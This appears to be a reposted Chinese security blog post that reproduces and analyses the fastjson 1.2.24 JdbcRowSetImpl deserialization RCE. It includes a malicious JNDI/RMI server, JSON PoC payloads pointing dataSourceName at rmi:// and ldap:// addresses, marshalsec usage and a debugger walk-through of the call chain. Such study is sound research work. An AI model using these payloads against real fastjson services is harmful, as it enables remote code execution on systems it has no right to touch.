fastjson 1.2.24-基于JdbcRowSetImpl的PoC构造与分析

前言:

基于fastjson的第一种payload是基于templatesImpl的方式,但是这种方式要求Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,是有限制的,这篇文章分析的基于jdbcRowSetImpl的方式可以使用jndi的方式更具有通用性一些,关于templateImpl的利用方式参考https://www.cnblogs.com/wfzWebSecuity/p/11431543.html

复现:

RMI:

package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口
        Reference reference = new Reference("Exploit",
                "Exploit","http://127.0.0.1:8080/");  //请求本地8080端口
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

比如此时先本地起一个rmi服务器

exp:

package person;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
             
       String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }

}

然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,

 

 这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的

用mashalsec起rmi服务:

 此时也能够calc

ldap:

用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下

 然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class

    public static void testLdap(){
        String url = "ldap://127.0.0.1:1389";
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, url);
        try{
            DirContext dirContext = new InitialDirContext(env);
            System.out.println("connected");
            System.out.println(dirContext.getEnvironment());
            Reference e = (Reference) dirContext.lookup("e");

        }catch(NameNotFoundException ex){
            ex.printStackTrace();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

exp:

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }

}

直接通过ldap加载没问题,可以calc

调用链分析:

之前尝试parse处下一个断点然后正向找到setvalue函数处来分析,可以整个处理过程太过于繁琐,尤其是到asm处,中间不知道得有n个F7,遂这里直接在setDataSourceName处下断点

 即此时将从我们payload中指定的DataSourceName中去加载class

 接下来到setAutoCommit中

 其中调用了connect()函数,跟进,此时就能看到熟悉的lookup函数啦,即从远程加载class的关键点

 此时getDataSourceName()的返回值也可以看到即为我们所指定的

 然后跟进lookup看看如何调用实例化,这里调用了getURLOrDefaultInitCtx(name).lookup()函数

 此时就到了java的命名服务管理的类,此时调用getURLContext函数请求ldap,进一步在其中调用getURLObject来通过从远程的ldap服务获取对象

 此时就到了最终的exploit.class类的实例化,也就是工厂类的实例化,熟悉的getObjectInstance(),此时就完成了反序列化,从而触发exploit里的构造函数

调用链如下所示:

参考:

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

https://p0rz9.github.io/2019/05/14/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJdbcRowSetImpl/

https://zhuanlan.zhihu.com/p/73428357

http://www.code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-qi-fastjsonfan-xu-lie-hua-pochui-zong.html

猜你喜欢

转载自www.cnblogs.com/wfzWebSecuity/p/11924877.html